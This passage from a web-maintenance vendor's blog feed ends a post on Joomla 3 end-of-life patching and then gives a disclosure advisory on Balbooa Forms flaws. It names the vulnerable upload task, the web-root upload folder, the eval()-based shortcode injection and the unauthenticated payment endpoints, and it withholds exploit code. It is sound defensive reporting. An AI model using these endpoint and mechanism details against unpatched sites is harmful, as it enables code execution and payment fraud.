&lt;p&gt;mySites.guru keeps a live inventory of every Joomla and WordPress site in your account, with the core version and the full extension list for each. You can filter for Joomla 3 sites in seconds, then cross-reference which of them run SP Page Builder or Helix, so you know which sites are in the danger zone rather than guessing. It also &lt;a href=&quot;https://mysites.guru/blog/end-of-life-supported-versions/&quot;&gt;flags end-of-life versions automatically&lt;/a&gt;, so an unsupported core shows up as a warning without you going looking for it.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Find your Joomla 3 exposure in one place&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions&quot;&gt;Open your Extension Inventory&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;Filter for Joomla 3 sites and search for SP Page Builder or Helix to see which sites are exposed. Not a subscriber? &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;Sign up free&lt;/a&gt; and connect your sites.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;Can I Keep a Joomla 3 Site Patched While I Migrate?&lt;/h2&gt;
&lt;p&gt;Yes, as a stopgap for the core, but not forever and not for the extensions. There are two separate holes to think about: &lt;a href=&quot;https://joomla3security.com/core-vulnerabilities/&quot;&gt;the Joomla 3 core&lt;/a&gt;, and &lt;a href=&quot;https://joomla3security.com/extension-vulnerabilities/&quot;&gt;the vendor extensions on top of it&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;For the core, mySites.guru can apply the &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-joomla-3-security-issues-with-a-single-click/&quot;&gt;Joomla 3.10.999 project’s backported security patches with a single toggle&lt;/a&gt;. That project backported the critical fixes that shipped in Joomla 4 to end-of-life Joomla 3 sites, so a site with the toggle on has the known core holes closed. It is the closest thing to keeping an unsupported core safe, and it does not need an eLTS subscription or any manual file edits.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Patch every known Joomla 3 core issue in one click&lt;/p&gt;
  &lt;p&gt;mySites.guru applies the backported Joomla 3.10.999 security patches across all your Joomla 3 sites from one screen. It buys you time to migrate. &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-joomla-3-security-issues-with-a-single-click/&quot;&gt;See how the one-click Joomla 3 fix works&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;For the extensions, the position changed on 15 July: JoomShaper &lt;a href=&quot;https://mysites.guru/blog/joomshaper-reverses-joomla-3-decision/&quot;&gt;released Joomla 3 security patches&lt;/a&gt; for SP Page Builder, Helix3 and Helix Ultimate after all. Apply the vendor patch where it installs, and check the requirements first: the Helix Ultimate package needs Joomla 3.10.x and PHP 7.2.5 or later, and refuses the Joomla 4 and 5 builds of Helix (it has no lower version bound, so older 1.x and 2.0.x builds install fine). mySites.guru &lt;a href=&quot;https://mysites.guru/blog/patch-abandoned-joomshaper-joomla-3-extensions/&quot;&gt;installs JoomShaper’s own Joomla 3 packages&lt;/a&gt; across every site in your account from one toggle, checked against a pinned hash with a backup taken first. Either way it is a stopgap: closing the door on the flaws we already know about does not make an end-of-life extension supported again. Keeping a Joomla 3 site patched and guarded is sensible while you plan the move; leaving it on SP Page Builder indefinitely is not.&lt;/p&gt;
&lt;h2&gt;The Real Fix Is Migration&lt;/h2&gt;
&lt;p&gt;Patching is a holding pattern. The actual answer to an end-of-life core and an end-of-life vendor policy is to &lt;a href=&quot;https://joomla3security.com/options/#migrate&quot;&gt;get off Joomla 3&lt;/a&gt;, and the supported targets are Joomla 5 and Joomla 6. Note that Joomla 4 is not a safe destination either: its own security support ended in October 2025, so migrating from 3 to 4 would put you on another unsupported line. Aim for 5 or 6 directly.&lt;/p&gt;
&lt;p&gt;Migration is real work, and the honest framing is that it takes planning rather than a click. The part that trips agencies up is keeping sites connected to their management tooling through the version jump. mySites.guru’s connector handles that, so a site stays monitored and backed up right through the migration rather than dropping off your dashboard mid-move. The &lt;a href=&quot;https://mysites.guru/blog/migrating-to-joomla-4-when-using-mysites-guru/&quot;&gt;migration walkthrough&lt;/a&gt; covers the connector swap step by step.&lt;/p&gt;
&lt;p&gt;Before you touch anything, take a full backup, and ideally test the migration on a staging copy first. A Joomla 3 site with SP Page Builder content has a lot of layout data that needs to make it through the jump intact, and you want to find any problems on a copy, not on the live site.&lt;/p&gt;
&lt;h2&gt;This Is Part of a Wider Pattern in Joomla Extensions&lt;/h2&gt;
&lt;p&gt;JoomShaper freezing Joomla 3 is not an isolated event. It sits inside a run of critical Joomla extension flaws we have documented over recent weeks, and the common thread is unauthenticated file uploads leading to remote code execution. The same class of bug turned up in &lt;a href=&quot;https://mysites.guru/blog/pagebuilderck-unauthenticated-file-upload-rce/&quot;&gt;PageBuilder CK&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/icagenda-zero-day-file-upload-rce/&quot;&gt;iCagenda&lt;/a&gt;, and &lt;a href=&quot;https://mysites.guru/blog/balbooa-forms-unauthenticated-file-upload-flaw/&quot;&gt;Balbooa Forms&lt;/a&gt;, and JoomShaper’s own Helix framework had &lt;a href=&quot;https://mysites.guru/blog/helix3-security-update-changelog-failure/&quot;&gt;a critical fix shipped as a plain “Security Update”&lt;/a&gt; that then fed &lt;a href=&quot;https://mysites.guru/blog/helix3-antonkill-defacement-wave/&quot;&gt;a defacement wave stored in the database&lt;/a&gt;, alongside a separate &lt;a href=&quot;https://mysites.guru/blog/helix-ultimate-security-update/&quot;&gt;unauthenticated menu write in Helix Ultimate&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The lesson for anyone running Joomla at scale is that the extension layer is where the attacks hit, and a Joomla 3 site now has that risk with no vendor safety net on either the core or the biggest extensions. That is why the version you run matters as much as the extensions you install.&lt;/p&gt;
&lt;h2&gt;The Bottom Line&lt;/h2&gt;
&lt;p&gt;JoomShaper has done the responsible thing by being clear rather than letting Joomla 3 support rot, and “no security patches, regardless of severity” is at least honest. But it applies to more than half the Joomla web, weeks after their own SP Page Builder had a CVSS 10.0 flaw exploited in the wild. Six days later the company &lt;a href=&quot;https://mysites.guru/blog/joomshaper-reverses-joomla-3-decision/&quot;&gt;patched Joomla 3 anyway&lt;/a&gt;, which is the right outcome and worth saying, though it arrived after a week of telling people no fix was coming. Two more Joomla 3 patches followed, the &lt;a href=&quot;https://mysites.guru/blog/helix-ultimate-third-joomla-3-security-patch/&quot;&gt;third on 27 August 2026&lt;/a&gt;. If you manage Joomla sites, find every Joomla 3 install you look after, confirm which run SP Page Builder or Helix, apply the vendor patch where it installs, keep the core patched as a stopgap, and move the priority sites to Joomla 5 or 6. Start with a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; on one site to see what your Joomla 3 exposure actually looks like.&lt;/p&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomshaper.com/blog/joomshaper-drops-joomla-3-support&quot;&gt;JoomShaper: Ending Joomla 3 Support&lt;/a&gt; - the original vendor announcement, including the “no security patches, regardless of severity” policy.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomshaper.com/blog/security-update-for-joomla-3-users&quot;&gt;JoomShaper: Security Update for Joomla 3 Users&lt;/a&gt; - the 15 July reversal, shipping Joomla 3 patches for Helix Ultimate, Helix3 and SP Page Builder.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://endoflife.date/joomla&quot;&gt;Joomla End of Life dates (endoflife.date)&lt;/a&gt; - a live reference for which Joomla versions are still supported and when each line reaches end of life.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://elts.joomla.org/&quot;&gt;Joomla Extended Security Support (eLTS)&lt;/a&gt; - the official Joomla project programme that patched Joomla 3 until it ended on 17 February 2025.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://w3techs.com/technologies/details/cm-joomla&quot;&gt;W3Techs Joomla version usage&lt;/a&gt; - the current breakdown of live Joomla sites by version, showing how much of the web still runs Joomla 3.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-48908/&quot;&gt;CVE-2026-48908&lt;/a&gt; - the SP Page Builder unauthenticated file upload record, the flaw that makes this policy change bite.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-joomla-3-security-patch-1-0-3/&quot;&gt;SP Page Builder’s Joomla 3 patch reaches 1.0.3&lt;/a&gt; - the corrected SP Page Builder Joomla 3 patch, after we found two more gaps in JoomShaper’s back-port.&lt;/li&gt;
&lt;/ul&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>joomla 3</category><category>vulnerability</category><category>joomshaper</category><category>end-of-life</category><enclosure url="https://mysites.guru/img/og/blog/joomshaper-drops-joomla-3-support.png" length="0" type="image/png"/></item><item><title>Balbooa Forms Fixes an Unauthenticated File Upload RCE</title><link>https://mysites.guru/blog/balbooa-forms-unauthenticated-file-upload-flaw/</link><guid isPermaLink="true">https://mysites.guru/blog/balbooa-forms-unauthenticated-file-upload-flaw/</guid><description>CVE-2026-56291: unauthenticated file upload RCE in Balbooa Forms (com_baforms) for Joomla, fixed in 2.4.1. More security releases followed: update to 2.4.3.4.</description><pubDate>Wed, 08 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Balbooa Forms is a popular drag-and-drop form builder for Joomla, installed as the &lt;code&gt;com_baforms&lt;/code&gt; component and used for contact, registration, and survey forms on thousands of sites. Up to and including version 2.4.0, its frontend attachment upload had a serious flaw: it accepted a file from any anonymous visitor, with no login, no CSRF token, and no check on the file type. An attacker could upload a &lt;code&gt;.php&lt;/code&gt; file into a public folder and then run it, which is unauthenticated remote code execution, the worst outcome a web flaw can have. This was a zero-day: it was already being exploited in the wild when we found it, before any patch existed, and those attacks are still going on now against sites that have not updated.&lt;/p&gt;
&lt;p&gt;Balbooa fixed it in version 2.4.1, released on 9 July 2026. &lt;strong&gt;Do not stop at 2.4.1.&lt;/strong&gt; Three more security releases have followed it, the most recent on 18 August 2026, and the minimum safe version is now &lt;strong&gt;2.4.3.2&lt;/strong&gt;. See the update note directly below. This post explains what the original flaw was, how it surfaced, what the fix does, and how to check whether any of your sites were touched, without publishing anything an attacker could copy.&lt;/p&gt;
&lt;h2&gt;Update, 29 September 2026: 2.4.3.4 is now the minimum&lt;/h2&gt;
&lt;p&gt;Balbooa released Forms 2.4.3.4 on 29 September with five more security fixes, mostly in file attachments, including a path traversal into auto-reply emails and unauthenticated deletion of other visitors’ uploads. The advice further down this post to update to 2.4.3.2 is now out of date: 2.4.3.2 and 2.4.3.3 are both affected, so update every install to &lt;strong&gt;2.4.3.4&lt;/strong&gt;. What changed and who is affected is in &lt;a href=&quot;https://mysites.guru/blog/balbooa-forms-2-4-3-4-security-fixes/&quot;&gt;Balbooa Forms 2.4.3.4 Fixes Five Security Issues&lt;/a&gt;.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Update, 19 August: the &quot;hardening&quot; release was two pre-auth flaws, one scored 10.0&lt;/p&gt;
  &lt;p&gt;The Joomla project published &lt;strong&gt;CVE-2026-67364&lt;/strong&gt; (pre-auth PHP code injection, 10.0) and &lt;strong&gt;CVE-2026-67363&lt;/strong&gt; (pre-auth payment amount tampering, 7.7) on 19 August, covering the 18 August 2.4.3.2 release that Balbooa had presented as routine hardening. Both list 1.0.0 to 2.4.3.1 as affected, so &lt;strong&gt;2.4.3 and 2.4.3.1 are vulnerable too&lt;/strong&gt; and 2.4.3.2 is the only safe version. Details are further down this post. Earlier: on 28 July 2026 Balbooa released 2.4.3, fixing &lt;strong&gt;CVE-2026-65880&lt;/strong&gt;, a second unauthenticated remote code execution flaw scored CVSS 10.0. It is triggered through the Signature field type and is a completely different bug from the upload flaw described in this post. The CVE record lists every version up to and including 2.4.2.1 as affected, so &lt;strong&gt;2.4.1 and 2.4.2 are both vulnerable&lt;/strong&gt;. Anyone who applied the emergency 2.4.1 update on 9 July and stopped there stayed remotely exploitable for another 19 days. Two further security releases have shipped since, &lt;strong&gt;2.4.3.1&lt;/strong&gt; on 31 July and &lt;strong&gt;2.4.3.2&lt;/strong&gt; on 18 August, so the current minimum is 2.4.3.2. Update every Balbooa Forms install without waiting for a maintenance window, then check each site for stray PHP files and unexpected admin accounts, because a site could already have been hit by either flaw.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;p&gt;&lt;abbr&gt;TL;DR&lt;/abbr&gt;: The frontend upload in Balbooa Forms (&lt;code&gt;com_baforms&lt;/code&gt;) up to and including 2.4.0 (fixed in 2.4.1) accepted a file from anyone with no authentication, no CSRF token, and no allow-list on the file extension. Because it trusted the caller’s filename, a &lt;code&gt;.php&lt;/code&gt; upload ended up in a public directory and could be executed, which is unauthenticated remote code execution (CWE-434). This is a zero-day that was, and still is, being actively exploited in the wild: it came to light through a Hetzner abuse report that a mySites.guru customer brought to us as a raw access log, evidence of a live attack, and there was no patch at that point. We diagnosed it, disclosed it privately to Balbooa, and they responded the same day and shipped the fix in 2.4.1 within a day, crediting Phil Taylor as the reporter. It is tracked as &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-56291/&quot;&gt;CVE-2026-56291&lt;/a&gt;. No proof of concept has been made public. Since then a second, unrelated unauthenticated RCE (&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-65880/&quot;&gt;CVE-2026-65880&lt;/a&gt;, CVSS 10.0, via the Signature field) has been found and fixed in 2.4.3, and it affected 2.4.1 and 2.4.2 as well, followed by two more security releases, 2.4.3.1 and 2.4.3.2, so &lt;strong&gt;update every Balbooa Forms install to 2.4.3.2 immediately&lt;/strong&gt;, then check exposed sites for stray files and unexpected admin accounts. If you manage more than a handful of Joomla sites, mySites.guru lists every Balbooa Forms install in your account in seconds and pushes the update.&lt;/p&gt;
&lt;h2&gt;How This One Was Found&lt;/h2&gt;
&lt;p&gt;Most vulnerability posts start with a CVE and work backwards. This one started with a log line.&lt;/p&gt;
&lt;p&gt;A customer received an abuse report from Hetzner, the hosting company, about suspicious activity on one of their Joomla sites. Rather than guess at it or panic, they did the right thing: they brought us the raw web server access log and asked us to look. Credit to Hetzner for catching the activity and flagging it, and to the customer for bringing evidence instead of a hunch. A single log line is worth more than a page of speculation.&lt;/p&gt;
&lt;p&gt;That log showed a &lt;code&gt;POST&lt;/code&gt; request to the Balbooa Forms upload handler that had no business succeeding the way it did. We traced the request back through the extension’s code, confirmed that the frontend upload accepted files with no authentication and no restriction on type, and reproduced the whole chain end to end on a local Joomla install within the hour. From there it was a private email to Balbooa, who replied the same day and shipped the fix in version 2.4.1 the next day, on 9 July 2026, crediting Phil Taylor as the reporter. The flaw is now tracked as &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-56291/&quot;&gt;CVE-2026-56291&lt;/a&gt;.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;This is what responsible disclosure looks like&lt;/p&gt;
  &lt;p&gt;Found through a real abuse report, confirmed in the code, reported privately, and fixed by the vendor within a day, all before any technical detail was published. No exploit has been released. The reason to write about it is to get sites updated, not to show anyone how it worked.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;What Was Actually Wrong in Balbooa Forms?&lt;/h2&gt;
&lt;p&gt;The flaw was an unauthenticated file upload with no file-type allow-list. The Balbooa Forms upload endpoint runs for any visitor, logged in or not, and before the fix it did three things wrong at once: it required no login, it checked no CSRF token, and it worked out the file extension from the name the visitor supplied and used it as-is. Joomla’s built-in filename cleaner strips dangerous characters, but it does not block a &lt;code&gt;.php&lt;/code&gt; extension, so a file named &lt;code&gt;shell.php&lt;/code&gt; stayed &lt;code&gt;shell.php&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Put those together and an anonymous request could write an attacker-controlled &lt;code&gt;.php&lt;/code&gt; file into the extension’s upload folder, which by default sits under &lt;code&gt;images/baforms/uploads/&lt;/code&gt; inside the web root. Because that folder is served directly and has nothing stopping PHP from running in it, requesting the uploaded file in a browser executed it. Upload becomes code execution, and no account on the site is needed at any point.&lt;/p&gt;
&lt;p&gt;The important detail for site owners is the “no login” part. Plenty of upload bugs need an editor or admin account first, which limits the damage to people you already trust. This one did not. Anyone on the internet who could reach the form could reach the upload handler.&lt;/p&gt;
&lt;h3&gt;Root Cause, In the Code&lt;/h3&gt;
&lt;p&gt;For the developers among you, here is the mechanism without the exploit. The request enters through a single front-end task, &lt;code&gt;index.php?option=com_baforms&amp;amp;task=form.uploadAttachmentFile&lt;/code&gt;. In 2.4.0 the controller that handles it ran no authentication check and no &lt;code&gt;Session::checkToken()&lt;/code&gt; call, so the task was reachable by any anonymous visitor and accepted a raw file straight from the request.&lt;/p&gt;
&lt;p&gt;The controller passed that file to the model’s write routine (&lt;code&gt;FormModel::uploadAttachmentFile&lt;/code&gt;, around line 122 in the front-end &lt;code&gt;FormModel.php&lt;/code&gt;). That routine is where the real problem sat. It worked the file extension out from the attacker-supplied filename, sanitised only the name portion with Joomla’s &lt;code&gt;File::makeSafe()&lt;/code&gt;, and then re-attached the original extension verbatim before writing the file. In effect:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;the extension is taken from the caller’s filename, so &lt;code&gt;shell.php&lt;/code&gt; yields &lt;code&gt;php&lt;/code&gt;;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;File::makeSafe()&lt;/code&gt; cleans the name but does not reject a &lt;code&gt;.php&lt;/code&gt; extension;&lt;/li&gt;
&lt;li&gt;the cleaned name and the untouched extension are joined back together (&lt;code&gt;$fileName = $name . &apos;.&apos; . $ext&lt;/code&gt;);&lt;/li&gt;
&lt;li&gt;the file is written under &lt;code&gt;images/baforms/uploads/form-&amp;lt;id&amp;gt;/&lt;/code&gt;, a directory inside the web root that serves and executes PHP.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;There was no allow-list checking the extension against the file types the form is actually meant to accept. That single missing check is the whole vulnerability. With no login, no token, and no allow-list standing in the way, an anonymous upload of a &lt;code&gt;.php&lt;/code&gt; file became code running on the server. We are not publishing the request body that ties these together, but the shape of the bug is the same one this class of extension keeps producing.&lt;/p&gt;
&lt;h2&gt;Why an Upload Flaw Is as Bad as It Gets&lt;/h2&gt;
&lt;p&gt;An unauthenticated upload that puts executable code on the server is the top of the severity scale, and it is worth being clear about why. Once an attacker can run PHP of their choosing on your server, they are no longer limited to your site. They can read your &lt;code&gt;configuration.php&lt;/code&gt; and the database credentials in it, create a hidden Joomla Super User, plant a backdoor that a plugin update will not remove, pivot to other sites in the same hosting account, or add the server to a spam or malware network. The uploaded file is rarely the goal in itself; it is the foothold.&lt;/p&gt;
&lt;p&gt;This is the same lesson as the &lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;AJAX endpoints blind spot&lt;/a&gt; we keep coming back to. An endpoint that Joomla will run for anonymous visitors is exposed to the entire internet, so every input it touches has to be treated as hostile. A single allow-list check, “is this file one of the types this form is allowed to accept”, would have stopped this.&lt;/p&gt;
&lt;h2&gt;What the 2.4.1 Fix Does&lt;/h2&gt;
&lt;p&gt;Balbooa’s fix is a good one, and it closes the flaw at more than one layer, which is exactly what you want. Version 2.4.1 makes four changes to the frontend upload:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;It now validates the file extension on the server against each Upload File field’s own configuration, so a &lt;code&gt;.php&lt;/code&gt; upload to a field that only accepts images is rejected.&lt;/li&gt;
&lt;li&gt;It adds a MIME Types option to the Upload File field, so a form can also require the file’s real content type to match, not just its name.&lt;/li&gt;
&lt;li&gt;It generates the stored filename on the server instead of trusting the one the visitor sent. Even a file that gets through as an allowed type is saved under a name the attacker cannot predict, which defeats the classic double-extension trick.&lt;/li&gt;
&lt;li&gt;It adds a CSRF token check to the upload request, so the handler no longer runs for a request that did not come from a real form on the site.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We verified all four against the released package. On 2.4.0, an anonymous request with no token uploaded a &lt;code&gt;.php&lt;/code&gt; file and ran it. On 2.4.1 the same request is rejected, and even a request with a valid token cannot deliver executable code, because the extension allow-list and the forced filename both stand in the way. The fix holds.&lt;/p&gt;
&lt;p&gt;There is one thing worth flagging for anyone who reads vendor changelogs to decide what to update. Balbooa’s &lt;a href=&quot;https://www.balbooa.com/help/joomla-forms-documentation/basics/changelog&quot;&gt;2.4.1 changelog&lt;/a&gt; lists these four items under a plain “Fixed” heading, with no mention that they close an actively exploited remote code execution flaw. That is not unusual, and it is not a criticism, but it is a trap. If you triage updates by whether the changelog says “security”, this one reads like routine housekeeping, and you would leave it sitting in the queue while the door stays open. It is the same pattern we saw with the &lt;a href=&quot;https://mysites.guru/blog/helix3-security-update-changelog-failure/&quot;&gt;Helix3 “Security Update” changelog&lt;/a&gt;: the words in the changelog are a poor guide to how urgent an update really is.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;img alt=&quot;Balbooa Forms 2.4.1 changelog dated 09.07.2026 under a plain &amp;quot;Fixed&amp;quot; heading, listing server-side validation of allowed file extensions, a new MIME Types option, randomly generated server-side filenames, and CSRF protection for frontend uploads, with no mention that these close an actively exploited remote code execution flaw&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1304px) 1304px, 100vw&quot; width=&quot;1304&quot; height=&quot;1104&quot; src=&quot;https://mysites.guru/_astro/balbooa-forms-2-4-1-changelog.CBAujU3T_Z1iztf3.webp&quot; srcset=&quot;https://mysites.guru/_astro/balbooa-forms-2-4-1-changelog.CBAujU3T_1dC09j.webp 640w, https://mysites.guru/_astro/balbooa-forms-2-4-1-changelog.CBAujU3T_ZCfjzi.webp 750w, https://mysites.guru/_astro/balbooa-forms-2-4-1-changelog.CBAujU3T_Z1EIOyc.webp 828w, https://mysites.guru/_astro/balbooa-forms-2-4-1-changelog.CBAujU3T_Z1Y20mv.webp 1080w, https://mysites.guru/_astro/balbooa-forms-2-4-1-changelog.CBAujU3T_1gwKrT.webp 1280w, https://mysites.guru/_astro/balbooa-forms-2-4-1-changelog.CBAujU3T_Z1iztf3.webp 1304w&quot; /&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Worth adding: Balbooa did update the changelog, but at the time of writing there is &lt;a href=&quot;https://www.balbooa.com/blog/forms&quot;&gt;no post on the Balbooa Forms blog&lt;/a&gt; about this security issue at all. So the only public signal that 2.4.1 matters is four terse lines under a “Fixed” heading, with nothing anywhere that tells a site owner this closes an actively exploited remote code execution flaw. If you are waiting for a vendor announcement before you update, there is not one to wait for.&lt;/p&gt;
&lt;h2&gt;Four Security Releases in Six Weeks&lt;/h2&gt;
&lt;p&gt;The release described above was the first of four. No single vendor page lists them together, so here is the run:&lt;/p&gt;



































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Date&lt;/th&gt;&lt;th&gt;Release&lt;/th&gt;&lt;th&gt;What it addressed&lt;/th&gt;&lt;th&gt;CVE&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;9 July 2026&lt;/td&gt;&lt;td&gt;Forms 2.4.1&lt;/td&gt;&lt;td&gt;The unauthenticated file upload described in this post&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-56291/&quot;&gt;CVE-2026-56291&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;28 July 2026&lt;/td&gt;&lt;td&gt;Forms 2.4.3&lt;/td&gt;&lt;td&gt;Unauthenticated remote code execution via the Signature field&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-65880/&quot;&gt;CVE-2026-65880&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;31 July 2026&lt;/td&gt;&lt;td&gt;Forms 2.4.3.1&lt;/td&gt;&lt;td&gt;“Security hardening”, stated as administrator area only&lt;/td&gt;&lt;td&gt;None assigned&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;18 August 2026&lt;/td&gt;&lt;td&gt;Forms 2.4.3.2 and Gallery 2.5.1.1&lt;/td&gt;&lt;td&gt;Shipped as “security hardening”. Confirmed on 19 August as pre-auth PHP code injection (10.0) and pre-auth payment amount tampering (7.7)&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-67364/&quot;&gt;CVE-2026-67364&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-67363/&quot;&gt;CVE-2026-67363&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The &lt;a href=&quot;https://www.balbooa.com/blog/forms/balbooa-forms-and-gallery-security-hardening&quot;&gt;18 August release&lt;/a&gt; covers five areas in the Balbooa Forms Joomla extension: authorization and access control in the Media Manager, path validation for internal file operations, payment validation so transaction amounts are verified during payment processing, parameter handling in post-submission PHP scripts, and validation of signature images. Balbooa Gallery 2.5.1.1 shipped the same day with the first two of those.&lt;/p&gt;
&lt;p&gt;Both releases are credited by Balbooa to Akinlabi Omoogun and Sergiy Tryzhychynskyi, and neither name appears anywhere in our own disclosure record. No CVE had been assigned to either when this section was written. Two were published the next day, and they are covered below.&lt;/p&gt;
&lt;h3&gt;What “Security Hardening” Leaves You Unable to Work Out&lt;/h3&gt;
&lt;p&gt;Balbooa published no affected version range, no severity, no CVSS score, and state the release is not related to any publicly disclosed vulnerability. That is the vendor’s call to make. The practical problem is that it leaves the person responsible for the site with no way to answer the only question that matters, which is whether their particular install was exposed and for how long.&lt;/p&gt;
&lt;p&gt;Three details in the release notes are worth reading closely, and none of them need a proof of concept to spot.&lt;/p&gt;
&lt;p&gt;The 31 July release said its improvements “are limited to the Forms administrator area and require administrator access”. The 18 August release drops that sentence and describes itself as covering “administrative and user-facing functionality”. Payment processing and post-submission scripts both run when an anonymous visitor submits a form, not when an administrator logs in.&lt;/p&gt;
&lt;p&gt;Payment validation that ensures “transaction amounts are consistently verified” is the description of a fix for amounts not being verified. On a form that takes money, the question that raises is who decides the price.&lt;/p&gt;
&lt;p&gt;Signature image validation is the third time in six weeks that the Signature field has been touched, and the second time for a security reason. The first was &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-65880/&quot;&gt;CVE-2026-65880&lt;/a&gt;, scored 10.0.&lt;/p&gt;
&lt;p&gt;We had not audited the difference between 2.4.3.1 and 2.4.3.2, so at that point we were not calling any of it exploitable. This reading comes from the vendor’s own release notes, read closely, not from any finding of ours.&lt;/p&gt;
&lt;h3&gt;The CVEs Confirmed It the Next Day&lt;/h3&gt;
&lt;p&gt;On 19 August the Joomla project published two CVE records for the 18 August release. Two of the three details above are in them.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-67364/&quot;&gt;CVE-2026-67364&lt;/a&gt; is pre-auth PHP code injection, scored 10.0. The optional custom-PHP post-submission handler runs through &lt;code&gt;eval()&lt;/code&gt;, and the &lt;code&gt;[URL parameter = X]&lt;/code&gt; shortcode is substituted into it with the raw, unescaped value of a query parameter, so an anonymous visitor can run their own PHP on the server. The CSRF token that guards the endpoint is given out anonymously by a separate task, so it stops no one. It does need the form to have a custom-PHP handler configured, which is a documented builder feature, and no reCAPTCHA on the submit button.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-67363/&quot;&gt;CVE-2026-67363&lt;/a&gt; is pre-auth payment amount tampering, scored 7.7. The &lt;code&gt;stripeCharges&lt;/code&gt; and &lt;code&gt;payAuthorize&lt;/code&gt; endpoints take the charge total from a request parameter and pass it to the payment gateway without recomputing it from the form’s configured prices, with no authentication and no CSRF check. Anyone can buy a priced item for a penny, and forge line items, quantities and shipping while they are at it.&lt;/p&gt;
&lt;p&gt;Both records give the affected range as 1.0.0 to 2.4.3.1. So “administrative and user-facing” meant unauthenticated, “payment validation” meant anyone could name their own price, and “parameter handling in post-submission PHP scripts” meant remote code execution. The vendor’s line about the release not relating to any publicly disclosed vulnerability was accurate when written, in the narrow sense that nothing was public yet.&lt;/p&gt;
&lt;p&gt;Both are credited to Akinlabi Omoogun. Neither is our finding. The point of the reading above is that you did not need the CVE records to know this release was worth treating as urgent: the release notes said enough on their own.&lt;/p&gt;
&lt;h3&gt;The Same Fixes Appeared in Gridbox First&lt;/h3&gt;
&lt;p&gt;The Media Manager and File System Protection rows in the 18 August release are word for word identical to the equivalent rows in &lt;a href=&quot;https://www.balbooa.com/blog/gridbox/gridbox-2-20-2-3-bug-fixes-and-security-hardening&quot;&gt;Gridbox 2.20.2.3&lt;/a&gt;, published on 10 August. Balbooa’s Media Manager is shared across the product range, so this reads as one piece of code being fixed in three products across eight days rather than three separate faults. If you run more than one Balbooa Joomla extension, treat a security release in any of them as a prompt to check the others.&lt;/p&gt;
&lt;p&gt;That matters here because Gridbox is the extension where a mySites.guru audit found &lt;a href=&quot;https://mysites.guru/blog/gridbox-23-critical-vulnerabilities/&quot;&gt;twenty-three vulnerabilities&lt;/a&gt;, on top of the earlier &lt;a href=&quot;https://mysites.guru/blog/gridbox-critical-authentication-bypass/&quot;&gt;authentication bypass&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;What This Looks Like Across the Sites We Manage&lt;/h3&gt;
&lt;p&gt;Which sites are behind turns out to be more revealing than how many.&lt;/p&gt;
